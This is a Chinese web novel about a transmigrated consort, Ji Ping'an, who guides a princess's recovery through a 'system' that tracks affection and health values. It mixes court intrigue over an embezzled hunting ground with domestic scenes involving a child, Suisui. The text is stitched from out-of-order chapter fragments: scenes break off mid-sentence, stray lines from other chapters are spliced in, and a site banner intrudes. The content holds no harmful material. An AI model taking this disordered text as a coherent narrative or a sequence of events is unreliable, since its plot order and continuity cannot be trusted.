季平安道:“儿臣认为,殿下此次受伤并非意外,而是有人故意为之。” 明贞帝这时候也拿到了东西,道:“驸马可知道,有些话是不能乱说的。” 季平安的这句话,注定会让现在的暗流涌动,全都放到明面上。 “儿臣知道”,季平安道:“只是事关殿下和父皇的安危,也事关朝堂局势的稳定,儿臣哪怕是冒着风险,也不能不说。” “太医说过,殿下身上除了磕碰的伤外,身上还有刀伤,但殿下此行只带了一把弓,并未带刀剑,只能是被其他人所伤。” “另外,儿臣在负责夏苗的事情时,也发现诸多疑点。” “猎场内的官员对夏苗态度漠不关心,甚至连基本的人员安排、路线安排都说不上来,账本也与他们所言对不上,耗费的银两数量是正常的五六倍。” “儿臣在猎场检查的时候,经常会看到半人高的陷阱和捕兽夹,这些东西本应该严禁出现在猎场内。” “就连凶猛的猎物,比如黑熊和虎豹之类的数量,都和记录册上的对不上,东边的林子里格外多。” 季平安说的有条有理,并且每句话都留有证据。 皇帝翻着手中的册子,脸色也越来越难看。 说到最后,季平安道:“儿臣认为,背后之人意图谋害皇室、贪污银两、罪大恶极,没有将皇室放在眼中,更没有将皇上放在眼中。” 她的话音落下,明贞帝也把册子扔在了地上,生气地一连说了三个“好”字。 季平安的话,说着是想要皇帝为沈之虞主持公道,但话里话外都和皇帝有关。 贪污腐败,国库的钱就是皇帝的钱,谁能容许有人在自己眼皮子底下偷钱? 皇帝安排她负责夏苗,却有人频频阻碍,是否在蔑视皇帝的权威? 更不用说,对方还在皇帝打猎的林子设置陷阱,这次伤的是沈之虞,下次是不是就会变成皇帝了? 明贞帝虽然昏庸愚蠢,但涉及到这些事的时候,却比谁都要敏锐。 “这是连朕都不放在眼里了,难不成还想谋逆不成?” 太过生气,明贞帝一口气都卡在了喉咙里面,喘着粗气道:“王德全,朕的……朕的逍遥丹呢?” 王德全连忙从桌上的一个锦盒中,取出来了一枚丹药,递到了皇帝的眼前。 吃下后,又缓了好一会儿,皇帝的气息才平稳了些,能够重新开口说话。 他看着季平安道:“驸马,朕赐你宝剑,见此物如见朕,命你彻查此事。” 季平安双手接过宝剑,一字一顿地道:“儿臣,定不负父皇嘱托。” 孟枝吻了她。季平安扫了眼上面的数值,先看了看现在的抽卡次数后,视线才落到好感度上面。 她问系统道:“好感度40,已经能算关系不错的朋友了吧?” 系统:“是啊,一般朋友的好感度也就在这个好感度上下。” 它可爱的语气里还能够听出来敬佩,道:“而且任务目标的防备心本就要比其他的人高,好感度升到40已经很高很高了!” 人与人不同,不同的人获得好感度的难度也不同。 有的人性格外向,喜欢交朋友,对其他人的抵触也小,这种人的好感度一般会比较容易升。 但也有人不喜欢亲密的关系,天然地带着层抵触,好感度就不容易涨。 沈之虞便是这种人,在她这里40的好感度,在其他人那里说不定就是60。 季平安嗯了声,看着还没有及格地生命值,有些感慨地道:“就怕生命值涨的还没有好感度快。” 系统安慰她道:“只要任务目标好好养身体,生命值总是能涨的。” “而且,现在生命值已经56了,再涨24就可以完成任务啦!” 季平安现在也已经回到了她自己的房间。 刚才在书房说的话有些多,现在便感觉到有些渴意。 听到系统的话,她倒水的动作顿了一下:“只需要涨24就能完成任务了?” 系统:“是啊,涨到80再维持三个月,就可以判定任务成功了!” 这个判定标准,之前季平安也问过系统,所以她是知道的。 只是这段时间忙着成亲和夏苗,早就把这些抛在脑袋后面了。 季平安房间里放的是果茶,她抿了一口才道:“没想到只差二十多任务就能完成了。” 系统:“没关系的,宿主如果舍不得任务目标,也可以继续留在她身边的~” 它想到什么,又补充道:“对了,到时候宿主与任务目标绑定的生命值也会解除绑定的。” 无论如何,完成任务后的季平安都会绝对自由,想做什么就能做什么,不会有任何约束。 “我知道了。”季平安说完,又自言自语道:“二十多也不好升啊。” 就沈之虞的性格,什么事情都能排在她的身体前面。 很轻的碰了一下。朝中每年都会派人过去修整河道,防止洪水的发生。 若是碰到雨灾多的年份,也能够提早应对,尽量多保住今年的粮食。 明贞帝听到工部尚书的话,也才记起来这件事。 他看向沈弘星问道:“今年是不是该五儿去了?” 三郡的粮食重要,居住的人口也多,大雍朝历来也重视这件事。 按照传统,每年都要派一位成年的皇子或者皇女去。 去年是三皇女去的三郡,今年便轮到了五皇子。 沈弘星此时也站出来道:“儿臣定将此事办好。” 明贞帝满意地点了点头:“既如此,这件事便交由五儿来办,驸马、工部和户部配合。” 此话一出,朝堂上陷入了片刻的安静,一直安静的丞相看了下上面坐着的皇帝。 沈弘星也微微皱了皱眉,开口问道:“父皇,驸马也去?” 明贞帝:“驸马也借着这个机会好好了解下朝中事务。” 当然,这只是表面的借口。 季平安脑海中思考了片刻,便能够明白皇帝的真实意图。 这些日子抓的人,要不然是受过丞相提携,要不然便是与五皇子关系密切,贪的银两数量也都很多。 加之工部侍郎的女儿,刚好是五皇子的侧妃,皇帝现在自然不能对五皇子完完全全的信任,于是便把她派过去监督。 季平安没在乎五皇子的脸色,拱手谢恩。 赈灾修缮河道之类的事情,油水很大,说不定还能挖到些什么。 而且她本想着水泥制作成熟后,便在合适的时间拿出来多些筹码,眼下这个机会正合适。 孟枝轻声道:“阿姐,带我走吧。” 她不想后悔。 孟水山看着怀中人眼角的那滴泪。 给出了承诺,却又在晚上带着陌生坤泽的信香回到了公主府。 还能理直气壮的说出来,自己没有忘记承诺。 季平安笑了下:“殿下,我只是和人家见了个面,也不是把人家养在外面啊。” 她笑的轻松,但沈之虞的脸色反而更沉了几分。 “只是见面,又为何会沾上信香?” 而且季平安先前在京城,并不认识其他的坤泽。 难道是在她昏迷的时候认识的? 短短几天的时间,已经能到半夜见面的关系? 沈之虞心里闪过数个可能性,但面上却看不出来,只觉得她比平时要冷淡上些而已。 季平安没回答,反而唇角的弧度更大。 她凑近些沈之虞,看着她清冷的眸眼,慢悠悠地问道:“殿下这是吃味了?” 沈之虞能看到她浅琥珀色的瞳孔,以及倒映在其中的自己。 顿了片刻,她抬手将季平安往后推了推,平静地又喊了一声:“季平安。” 沈之虞情绪明显的时候,便喜欢喊季平安的名字。 “在。”季平安习惯性地应了一声。 玩笑开够了,她也站直身子。 季平安也不想真的把人惹恼,主动开口解释道:“这个坤泽殿下也认识,是孟枝。” “我今日在街上见到了水山,晚饭也是和她们一起吃的。” “信香和酒的味道,可能是吃饭的时候不小心沾到的。” 沈之虞也没有料到这件事,反应了片刻才明白过来。 她问道:“她们也来京城了?” “是啊”,季平安和她道:“我们从东和县离开没多久,她们也就来了,还见到我们成亲了。” 季平安把孟水山和她讲的事情,又跟沈之虞讲了一遍。 “差不多就是这样,她们还想着再和你见见面。” 沈之虞嗯了一声,“从南三郡回来后我便去。” 很快就会到雨季,南三郡的事情也没有办法搁置。 所以她们这两天就要出发,也没有办法再去找孟水山她们。 “好。”季平安应了声。 说完,她又道:“殿下可以放心,我不会在外面养其他的坤泽的,说话算话。” 沈之虞:“……” 只是画上人物衣服上的线条,却勾勒偏了一笔,她又重新添了一笔遮盖住。 季平安的脑子还有些空白,闻言哦了一声,也安静下来。 但也只安静了一会儿。 季平安:“没事,阿姐昨天又给你买了些,一会儿看看有没有喜欢的。” 岁岁乖巧地应了声好,然后看了看她们两人,问道:“阿姐和阿九姐姐是不是又要出门了?” 她这两天,也注意到了两人在收拾东西。 沈之虞嗯了声,道:“我和你阿姐,这次离开的时间可能要长一些。” 平时她们虽然忙,但晚饭还是能和岁岁一起吃的。 如今要去南三郡,肯定不能带上岁岁。 来返的时间算下来,可能连中秋都不一定能够回到京城,总要和岁岁说一声。 小孩贴在她们两人身边,听到确认的话后,看着明显没有之前开心。 季平安看着有些心疼,回到京城后,她们陪小孩的时间也少了许多。 她轻声问道:“所以岁岁今天想不想和我们出去玩,我和阿九姐姐都陪着岁岁。” 岁岁思考了片刻,轻轻地摇了摇头。 她看着两人,小声问道:“不想出去,阿姐和阿九姐姐陪我看绘本可以吗?” “当然可以”,季平安捏了捏小孩的脸,“岁岁今天怎么不想出去?” 若是往常,岁岁听到她们要一起出去玩,开心的脸上的小酒窝都藏不住。 岁岁诚实地道:“出去玩太累了。” 季平安和沈之虞明日就要去很远的地方了,今天肯定要好好休息。 闻言,季平安愣了一瞬,转过头刚好对上了沈之虞的视线。 她们两人都能看出来对方眼里的意思:小孩有些太乖了。 季平安心软地不行,看着小孩柔声道:“我们岁岁怎么这么乖啊,我和你阿九姐姐都不舍地走了。” 小孩抿了抿唇,伸手抱了抱她,然后又转过身抱了抱沈之虞。 岁岁这些天长高了些,抱住她们也不费力气,怀抱温暖。 只是声音里还能听到浅浅的不舍:“阿姐和阿九姐姐记得不要受伤,我会乖乖等你们回来的。” 沈之虞摸了摸小孩地头,轻声道:“会的。” 季平安也温声地应了句好,又道:“岁岁能不能再帮阿姐个忙?” 岁岁看向她,不知道要帮什么忙就先点了头:“可以的,阿姐说就好。” 季平安道:“阿姐的屋里和院子里,新搬来了几盆花,阿姐走了之后没有办法照顾,能不能麻烦岁岁帮我照看着?” “可以的!”岁岁应下。 有了这件事情转移注意力,小孩不舍地情绪也淡了些,拉着她们问起来养花的事情。 陪着小孩看了会儿绘本,又带岁岁看了看沈之虞画的画,吃完晚饭后,她们才各自回了自己的房间。 画被季平安挂在了她的房间,下面放着的是她们曾经一起捏过的泥人,旁边的地上还放着沈之虞送她的花。 不知不觉间,她的房间里也多了对方不少东西。 季平安又看向那株兰花。射箭的技术最为直观,好就是好,不好就是不好,皇帝属于差的那类。 季平安笑了下,微微抬头示意了下前面,问道:“殿下,你要不要试试?” 前面的草丛里面有只猞猁正趴着,微微眯着眼看着神态放松。 沈之虞担心惊动猎物,放轻了些声音,问道:“你不试?” 季平安摇了摇头:“我还没有看过殿下射箭。” 当然,之前沈之虞把箭对准她的那次不算。 沈之虞嗯了声,举起来了手上的弓。 这是虞思冬之前送给她的弓,深沉的墨色,弓柄的位置缠着丝丝缕缕的金线,看着格外大气。 她白皙的指尖搭在略显冰凉的箭上,微微眯了下眼便射了出去。 猞猁还没有反应过来危险,就被一击毙命,箭正好插在了腹部的位置。 树林的飞鸟听到了声音,扑腾着翅膀飞到稍远的树上。 季平安非常捧场地鼓了鼓掌,道:“好箭法,殿下厉害!” 沈之虞收起手中的箭,道:“你也不错。” 她见过季平安射箭,自然知道对方的水平。 若是两人对上,她不一定能够赢得了季平安。 季平安笑了下:“那我们两人都厉害。” 猎场里面确实有人在暗中捣乱,时不时便会在林子里做些陷阱,甚至猎场外围封闭的围栏都被破坏了。 好在有虞柏暗中看着,及时补好了,只是人却没有抓到。 天色慢慢暗了下来,不少人也带着猎物回来,放到了竖旗帜的地方。 第二天,众人的猎物便体现出来了差距。 有的人只有野兔之类常见的猎物,但也有人带回来了野鹿、野猪、猞猁之类的猎物,一看就是进了深林。 因着皇帝上午的话,所以她们的晚饭也变成了烤肉,可以选择烤自己打的猎物,也可以直接从猎场的人那里拿现成的。 季平安和沈之虞除了那只猞猁外,也没有多余打什么猎物,因此便拿了一只野兔。 野兔都已经处理好了,她们也不用再费力气,找了个人少僻静的位置坐下。 季平安把野兔放到火上,又按照自己的经验往上面抹了些调味料,接下来等着酥脆的烤兔就好。 她看着眼前微微跃动的火光,道:“殿下,你还记不记得,之前我们在大柳村的时候也吃过兔子?” 烤兔子算是她到这个世界后吃的第一顿肉,所以印象格外深。 沈之虞垂了下眸,道:“记得。” 也是从那天开始,乾元便像是变了个人,还说着让她相信对方。 没有想到,兜兜转转,她还是把这份信任给了出去。 季平安笑了下:“那时候的殿下,说起话来可是格外不客气。” 不仅少言少语,看向她的视线都像是淬了冰。 沈之虞不讳直言地道:“当时,我不可能相信你。” 火烧了起来,坐在旁边便有些热,季平安扒拉了下柴,把火控制的小了些,拉着沈之虞往后坐了坐,才道:“我知道。” 季平安:“如果我是你,肯定也不会相信。” 说这句话的时候,系统倒是没有弹出来提示,也没有把她禁言。 看来只要不明着说出来系统和穿越的事情就没有关系。 沈之虞看向她,淡声问道:“那现在也不能告诉我?” 如果季平安不是“季平安”,那又会是谁? 她问过对方许多次这个问题,但是都没有得到过答案。 季平安摩挲了下指尖,道:“如果有机会,我一定告诉殿下。” 沈之虞嗯了声:“记得你说过的话。” 她既然都已经等了这么久,也不再介意再多等一段时间。 季平安点头:“当然会记得。” 她说完,又问道:“殿下,那我们现在,是不是也算得上朋友了?” 季平安其实想问这句话挺久了,只是一直没有找到机会。 沈之虞偏过头,和她的视线对上,却没有开口。 季平安眨眨眼,问道:“是了吗是了吗是了吗?” 沈之虞:“如果我说……” 季平安打断她的话,道:“不能说没有。” 她本来对花的品种没有偏好,但是在屋内的花中,最先看到的便是兰花,总让她想到沈之虞。 想着想着,季平安的脑海中又出现了昨晚的那个画面。 对方忽然转头,她没有反应过来,便直直地撞到了对方清冷漂亮的眸眼中。 没有甘霖期或者雨露期的意外,彼此都清醒着,是她们少有的距离这么近的时刻。 呼吸交错间,季平安当时的脑海中只有这一个念头:很漂亮的眼睛。 系统适时出现,好奇地问道:“宿主,你心动了?” 突然地声音,季平安的思绪也断在这里。回到府中,将人送回到房间后,岁岁也连忙过来了。 见到床上昏迷的人,小孩的眼眶顿时红了:“阿姐……” 季平安抱住了小孩,给她擦了擦眼泪,道:“阿九没事,不用担心,过几天就能醒过来。” 岁岁也用手背抹了抹自己的眼泪,重重的点头道:“阿九会没事的。” 她抬着小脑袋看向季平安道:“阿姐也不要太担心。” 岁岁是小孩子,对情绪的感知也很敏感。 哪怕季平安的语气平静,和平时看起来也没有什么不一样,但是岁岁还是能感受到她的担心和难过。 季平安笑了下,贴了贴她的额头,道:“好。” 把小孩安慰好送出房间后,季平安才对着空气喊道:“虞柏?” 片刻后,一道黑色的身影出现在她的眼前。 虞柏道:“驸马。”第二天醒来,天光大亮,季平安费力睁了睁眼睛,唯一的感受就是头疼。 许久没有喝过酒,昨天突然被灌了那么多酒,身体自然会抗议。 头疼过后,昨晚的记忆也一帧一帧的浮现出来,正想下床的季平安顿在原地。 无论是她突然把人突然拉到怀里,让抑制丸掉在了地上,还是她傻乎乎地在那里说不能标记,甚至连当时标记的细节,她全都想起来了。 季平安捂了捂自己的脸,震惊、尴尬、怕丢人和那莫名快了些的心跳交织在一起,让她此时此刻只有一个想法。 为什么她喝酒不断片啊! 要是什么都记不住,她就能当做什么都没有发生,也不会像现在一样,想找个地缝直接钻进去。 坐在床边缓了好一会儿,季平安才拿开捂着脸的手,看了看自己和房间四周。 她的身上还穿着婚服,只是最外面的一层衣服被脱掉了。 房间内没有其他人,红色绸子还挂着,能看得出来就是昨天的婚房。 估计昨天标记完后,沈之虞便将她直接留在了房间。 季平安抬起袖子闻了闻,还能嗅到淡淡的酒气,她微微皱了皱眉,片刻后视线落到房间门口的位置。 给自己做了两三遍心理准备后,又吞了颗抑制丸后,她才深吸一口气,慢慢的将门打开。 婚房和她们之前的房间隔得不远,从房间里出来后,季平安就看到了院子亭落里的沈之虞。 对方已经换下了婚服,现在身上穿的是件偏向淡青色的衣服,正低头教着岁岁认笛子。 “身体要站直,手臂自然抬起来便好,若是累了就和我说……” 沈之虞三天不在府上,岁岁也很想她,早上便一直跟在对方身边。 听到开门的声音,她们两人也看到了正站在门口的季平安。 岁岁先出声道:“阿姐!” 季平安笑了下,道:“岁岁今天起的好早。” 岁岁回道:“是阿姐起的有些晚了,都要吃午饭啦。” 季平安这才抬头看了看升的格外高的太阳:“……” 她咳了一声,“那阿姐直接等着午饭就好。” 说完,她又看向亭子里的沈之虞,道:“我先去洗漱收拾一下。” 尽管心里有不少问题想问,但她身上还带着酒味,肯定要先洗个澡再说。 沈之虞轻点了下头,道:“好。” 温热的水将身上的疲乏和酒味洗去,但季平安还是能够闻到腺体处两种信香交织的味道。 想到上次太医说的话,不知道她今晚还会不会失眠。 系统主动提醒她道:“宿主,昨天任务目标的好感又涨了十点!” 季平安:“什么时候涨的?” 说话的时候,她也已经把系统页面打开了。 季平安上下打量了她片刻,虞柏身上并没有受伤的迹象。 主子受伤,暗卫却能够全身而退,她心中的猜测又印证了几分。 季平安像是聊天一般,说道:“我还以为我叫你,你不会出现。” 暗卫相比其他的侍卫,最大的便是忠诚,绝对忠于一人,其他人的命令都不会听从。 虞柏道:“主子特地交代过。” 在沈之虞受伤的这段时间内,府里的人全部都要听季平安的安排,也包括她。 季平安垂了下眸,看向仍旧在昏迷的人。 她问道:“所以这件事,也是你家殿下的主意?” 虞柏没有说话,沈之虞特地交代过她,这件事不能让对方知道。 有时候,沉默也是一种答案。 季平安道:“我知道了。” 沈之虞受伤根本不是意外,而是她自己精心谋划的一场事故。 只不过,没有告诉季平安而已。 哪怕季平安在猎场里面便有过这个想法,但现在得到答案,还是很难说明白她此刻的心情。 房间里面安静了好一会儿,季平安才开口道:“你帮我去查一查,这些年的武举和科举有没有什么猫腻,或者有没有花钱买官的事情。” 她在林子里,听到那人说的话后便有了这个想法。 本想着等见到沈之虞后,好好和对方商量商量。 只是眼下这情况,季平安也找不到其他人,只能先照着这个方向调查。 虞柏点头道:“是。” 她拍了拍自己的心脏:“瞎说什么,明明是被你吓的。” 系统:“可是刚才数据显示,宿主的心跳频率比正常情况下要高出15个百分点。 ” “对了,宿主昨晚的心跳频率要更高,比平时出来高出来30……” 季平安打断系统,道:“系统,我现在想抽卡。” 既然要去南三郡了,那现在手里的抽卡次数也没有必要留。 系统也不再关注刚才的数据,调出来抽卡页面。 她这辈子不会让沈之虞知道,她其实画的是兰花的! 看了会儿,季平安便把两张画都收了起来。 可能是刚才太尴尬,沈之虞主动开口问道:“你还有没有其他想要的生辰礼?” 季平安想了下,道:“我想听殿下弹琴,可以吗?” 看到古琴的时候,她就有这个想法了,刚好趁着这个机会提出来。 沈之虞想了片刻,道:“可以,只是我许久未弹。” 季平安笑了下:“没关系,殿下弹得肯定是好听的。” 沈之虞将琴摆好,月白色的衣袖滑落到琴上,露出白玉般的腕骨。 她先轻轻拨了下弦,确认声音没有问题后,才抬起头问道:“有没有想听的曲子?” 季平安想了下,不知为何,心里突然紧张了一瞬。 她垂在身侧的指尖动了下,随后开口问道:“《古琴吟》可以吗?” 《古琴吟》,这首曲子名字听着没有什么问题。 但季平安知道这首曲子除了《古琴吟》,还有另外一个别名——《相思曲》。 《相思曲》,低低唱,浅浅斟,琴曲不断,相思不绝。* 沈之虞会不会也有一点喜欢她呢。【你现在阅读的是 】 100-110 第 101 章 第 101 章 《古琴吟》是传世名曲,沈之虞自然也是知道这首曲子背后的故事的。 她没有动,像是平常聊天一般问道:“怎么突然想到要听这首曲子。” 这个问题出来,季平安也冷静了许多。 现在丞相的事情还没有解决完,沈之虞每天很忙,睡觉的时间都不够。 她现在要是表现的太明显,不就是在给对方添乱。 季平安尽量平复下来自己砰砰乱跳的心,装傻道:“就是之前在街上的时候听人提到过,是这首曲子有什么特别之处吗?” 她不擅长琴棋书画,不知道曲子的缘故也在情理之中。 沈之虞垂了下眸,道:“没有,《古琴吟》确实比较出名。” 说完,她也抬了下手,开始弹琴。 她的指骨白皙修长,轻轻抚弦的时候,格外赏心悦目。 弦音不急不缓,恰如同相思的絮絮低语,让人的情绪都跟着曲子起伏。 曲子弹完,沈之虞压下琴弦,季平安仿佛还能听到尾音萦绕在耳边。 沈之虞看到她走神的模样,起身从古琴的位置离开。 她走到旁边,看着人问道:“难道是因为我太久没有弹,变得难听了?” 季平安这才回神,连忙道:“怎么会!” “殿下弹的琴,是我听过最好听的了。” 她其实说的这话还算是收敛了。 在她心里,无论是从前还是往后,都不会有人比得上对方了。 沈之虞说出来事实:“除了在曲稻郡,你应该也没有听过其他人弹琴吧。” 季平安眨了下眼睛,道:“不影响。” 这就是对喜欢的人滤镜。 【目标人物好感度+5】 【目标人物好感度+2】 沈之虞的眸里划过很浅的笑意,道:“如果之后还想要听的话,也可以过来找我。” 季平安没有想到她会说这句话,忍不住问道:“这也算是生辰礼?” “可以算。”沈之虞道。 季平安忍不住在心里想道,这个生辰过的真值啊! 如果一年能有十二个生辰,那她说不定还真的能光明正大说出来《相思曲》这三个字呢- 跟在后面的季平安,心里忍不住想道:好一个睁眼说瞎话。 就差把猎物放皇帝眼前了,结果只能射中麋鹿的后腿。 而且他射的也不深,还差点让猎物跑了。 结果恭维的人说的情真意切,连谄媚的感觉都看不出来。 若是没亲眼见到的,肯定要信了这番话。 “各位爱卿谦虚了,朕也许多没有拿过弓了。”明贞帝笑着道:“这头鹿带回去,也算在朕的赏赐里面。” 谁都爱听夸人的话,更不用说皇帝。沈之虞蜷了下指尖,松开抱着季平安的胳膊,两人之间重新拉开些距离,她问道:“怎么回事?” 季平安有些惊讶:“你不记得了?”季平安看着抽卡次数格外心痒,但想起上次掉落物品的场景,还是得等到房子修好之后才能抽卡。 沈之虞的生命值也在稳定增加中,季平安关掉系统页面闭上眼,又想到刚才上药的事情。 那时候还点着灯,沈之虞的影子就落在她的前方。 明明嘴上说着要给她抹毒药,但季平安反而觉得她抹药的动作很轻,连多余的疼她都没有感觉到。 隔天醒来,季平安睁开眼睛,看到的便是张清冷漂亮的脸。 床本身就不大,睡了三个人之后,基本就是被子挨着被子,距离格外近。 她见人醒了,主动打招呼道:“早。” 沈之虞没应,只道:“你抬头。” 季平安脑子还没有反应过来,身体就已经随着对方的话动了。 见她抬头后,沈之虞才从床上坐起来,一缕发尾从季平安的脖颈处扫过,浅浅的痒意稍纵即逝。 季平安现在也反应过来,“我压你头发了?” 她们两人都是长发,没有簪起来的时候,能垂到腰间。 沈之虞嗯了声,没有放在心上,只问道:“今天还是晚上上药?” 岁岁这时候也醒了,小脑袋跟着一起看向季平安。 “只记得做噩梦了。”沈之虞道,但她并不知道噩梦里面的屋子是哪里。 也不知道那些虫子到底是她真的见过,还是单纯的梦境。 季平安:“你刚才看起来很难受,控制不住咬自己,还一直说冷。” 她把刚才的情况说了说,末了还抬了抬自己的指尖,“看,你刚才咬的。” 两个人刚才的动静到底有些大了,哪怕季平安一直在压着声音说话,还是不可避免地吵到了岁岁。 小孩困得眼皮都睁不开,却还是确认道:“阿姐?” 听到声音,季平安先朝着沈之虞比了个“嘘”的手势。 做这个手势,一般人都喜欢用右手虚着比划在唇边,季平安也不例外。 只是刚才她放到沈之虞唇齿间的,恰好就是右手的食指。 夜色慢慢褪去,用不了一个时辰就快天亮了,因此沈之虞看得也更加清楚。 季平安的手指修长,竖起来的时候骨节分明,此刻上面却全部都是各式各样的痕迹。 轻的重的互相交错,有的地方只是泛着红,有的地方却连牙印都清晰可见,尤其是靠近指根的位置,咬的很重,甚至能看到丝血迹。 沈之虞不想承认眼前的痕迹是她做出来的,但逐渐泛上来的记忆,却提醒着她,在意识慢慢清醒的那段时间内,她确实咬过什么东西。 季平安比完手势后,就先安抚岁岁,见小孩重新睡过去之后,她才转过身来和沈之虞继续说话。 不过这么一打断,她想说的话也卡了壳:“我们刚才说到哪里了?” 季平安努力思考了会,才想到两人聊的最后一句话,是她说沈之虞咬了自己的手。 刚才提起这件事,倒也不是怪罪沈之虞,毕竟在那种情况下,哪怕是季平安也控制不了。 她单纯就是想借这件事证明,她抱对方也是事出有因。 毕竟沈之虞前不久,刚和她说过,能让人开心的事情就是“以后别离我这么近”。 季平安准备略过这个话题,继续说噩梦的事情。 谁料,她的嘴都没有张开,就听到对面沉默许久的人,轻声道:“……对不起。” 季平安愣了一下,若不是亲眼看到沈之虞的唇瓣动了,她还以为是自己的错觉。 往常习惯了沈之虞的冷言冷语,季平安如今听到她这么正式的道歉,反倒有些不自然。 她抿了下唇,问道:“你是因为咬我的事情?” 沈之虞嗯了声,“不是故意的。” 她刚才感觉到季平安抱着自己,下意识就认为乾元是故意的,想趁着最后一晚做些什么,她的心里也泛起厌恶的情绪。 但完全冷静下来听完解释后,沈之虞也知道是她误会了对方。 甚至连对方手上的伤,都是她造成的。 季平安在哄岁岁睡觉的时候,她的视线也没有离开过对方的背影,“对不起”这三个字在她心里绕了许多遍。 她听着季平安柔声道“没有事情,岁岁好好睡”,又看着对方轻拍小孩的背哄人,终于在对方转过身来的时候,才说出了这句话。 沈之虞不经常说对不起,哪怕和季平安一起生活这么久,这也是她第一次说。 因此哪怕极力掩盖了,语气里还是带着些陌生感和别扭感。 季平安能听出来,轻轻笑了下:“其实不怎么疼,这也不是你的错,我没有放在心上。” 沈之虞垂了下眸:“你接受就行。” 说这句话的时候,那股别扭感又不见了踪影,恢复成往常清冷淡然的语气。 季平安当然接受,转到刚才的话题:“你现在还难受吗?要不要我们等天亮了去县城里面看看?” 沈之虞摇头:“不难受了,用不着去县城。” 她能够猜到,这次应该是和缺失的记忆有关,药堂郎中也说了无解。 “真的不用?要不然还是去看看?”季平安还是有些不放心。 沈之虞却不再在这个话题上,只是看着她轻声道:“我有些困了。” “困了?”季平安的关注点也落到了这件事上,她看了眼窗外:“那你再睡会,现在天还没有怎么亮呢。” 说完就帮她将乱成一团的被子重新铺好,自己也躺回到原本的位置。 屋子里面重新归于安静,季平安原本只想躺一会儿,等天亮点就起床,后来不知怎么的也有些困,迷迷糊糊之间她还记得自己没有说完的话。 “阿九?”声音很明显地带了些困意。 沈之虞很轻地嗯了声。 季平安应该是没有听到,只自顾自地说着话,“你其实不用和我道歉……” 说到后面几个字的时候,声音轻的快要听不到。 “为什么?” 只是沈之虞问完这句话,季平安已经彻底睡了过去,没有告诉她答案。 朝臣三言两语,便让他的虚荣心得到了满足,连连夸奖了好几个人。 季平安原本还在走神,回忆着昨晚上她的睡姿好不好,却猝不及防地听到了明贞帝的声音。 “此次夏苗,驸马负责地不错,同样该赏!” 这句话听起来顺耳,季平安当即应道:“多谢父皇,只是夏苗之事,殿下帮了儿臣许多,儿臣受之有愧。” 明贞帝心情好,大方地道:“那便是你二人皆有功,也赏小七一份,这样可行?” 沈之虞与季平安并排骑着马,同样垂眸道:“多谢父皇。” 走了会儿,天便慢慢地热了起来,皇帝也就不愿意在外面多待,说了两句话后便回了自己的营帐。 见到人安安全全地回去后,季平安一直提着的心才算放下。 她看向沈之虞,道:“去西边转转?” 沈之虞点头,问道:“你刚才想说什么?” 刚才皇帝在的时候,季平安的视线好几次都看向她的方向,看着便是有话要说的模样。 季平安眨眨眼,道:“殿下,要不然你靠近些,我小声点说?” 沈之虞看了她片刻,骑着马稍稍靠前,两人的距离被拉近了些。 季平安就着这个姿势,侧过身后将唇贴近了些她的耳边。 “我刚才就是想说,皇帝射箭的技术太差了。”因着糖的缘故,沈之虞的好感值又涨了4,现在的抽卡机会已经到了11次。 想到上次抽到的[放松音乐],季平安还是没有立刻进行抽卡。 生命值涨的没有之前快,季平安猜测,之前涨的应该都是外伤,涂了药之后就会好。 但是沈之虞的失忆也没有好,身子也比较虚弱,生命值涨的也就慢了。 季平安在心里想了想这几天的沈之虞,口是心非、爱吃甜、陌生人前面不爱说话、可以开玩笑但不能过头,现在还能再加上一个标签,小脆皮,得好好养着。 她自言自语道:“和猫还真挺像的。” 第二天醒来,季平安准备照常去山里打猎。 出门前,她在院子里整了整自己要带的弓和箭。 岁岁先给种着的菜地浇了遍水,然后又给鸡仔喂了点草,嘴里还小声念叨着:“小黄小黄,快点长大。” 季平安好奇地问旁边的沈之虞:“小黄是谁?” “小鸡。”沈之虞回答道。 季平安打量着那只小鸡仔,觉得叫小小黄也不是不行。 想着想着,她倒是把自己逗笑了,转过头道:“我上山了,你没事就多晒晒太阳。” 晒太阳也能补补钙,对身体也好。 沈之虞却冷冷地看了她一眼道:“你自己晒吧。” 乾元难道不知道自己信香的味道吗?要不然怎么会说这种话。 能不能比得上孟水山和村里的其他猎户都说不定呢。 只是这话自然不能让其他人听到,所以她用的全是气声。 略高于体温的气息尽数落在沈之虞的耳廓处,抚动了垂在侧边的一缕发丝,甚至能闻到若有若无的向日葵花味道。 说完之后,季平安就坐正了身体,仿佛什么都没有发生。 她问道:“殿下,我说的对不对?”  季平安倒是没有想到,在这件事情上,沈之虞倒是比她还要自然。 因为她受伤的缘故,加上断断续续地雨,她也歇了再上山的心思,好好在家里养伤。 早饭她本来想动手,但是岁岁没让,“阿姐你多休息休息,我和阿九来就行。” 季平安笑了下,“这是让我衣来伸手,饭来张口啊?” 岁岁反应了会儿,理解了她的意思,点点头道:“可以的,阿姐。” 季平安脸上的笑容更大了些,“行,那我坐在旁边,给你们提醒下火候。” 沈之虞在旁边打着下手,岁岁认真地盯着陶罐里面煮的粥,雨滴答滴答地下着,小黄躲在屋檐下面,偶尔啄些扔给它的野草。 季平安突然想到,她最开始做视频博主的时候,一些粉丝给她提建议,说可以让家里人或者猫猫多出出镜,会显得更有生活气息一些。 当时的她还觉得,明明自己的视频全是日常,起床做饭、种菜收菜、养花除草……又怎么可能会没有生活气息。 但现在她却有些理解了。 季平安忍不住道了声:“阿九……” 听到声音的时候,沈之虞正处理着手中的豌豆苗,指尖摘掉不太好的叶子,然后再将靠近底部的茎掰掉一小节,翠绿色的豌豆苗衬得她的皮肤更白。 简简单单的动作,沈之虞做起来便和其他人有区别。 “怎么了?”沈之虞看向她。 季平安顿了下才道:“多摘点豌豆苗吧,想吃。” 摘豌豆苗用不着肩膀和背,沈之虞不惯着她,给了她一把豌豆苗道:“自己动手。” 季平安:“……” 什么生活气息,明明全都是压迫的气息。 沈之虞的耳边还残留着那抹温度,闻言思绪才被拉回。 饭吃到后面,她们喝的酒也都不算少。 季平安甚至还有过小心思,想着要不要趁着这个机会,让沈之虞多喝点酒。 这样她就能在对方醉的时候问问对方,是不是对她有点意思。 毕竟无论是日常相处,还是系统显示的好感度,都让她感觉自己是有机会的, 但真的看到孟水山劝沈之虞酒的时候,这些念头就被她扔到了脑袋后面。 醉酒多难受啊,肯定不能让人喝! 于是等到吃完饭,孟水山和季平安都醉的差不多了,孟枝和沈之虞却都清醒着。 岁岁蹲到了季平安的旁边,“阿姐?” 季平安坐的端端正正,语气却慢吞吞的道:“怎么有两个岁岁?” 孟枝问沈之虞道:“要不然我帮你,把人一起送回去?” 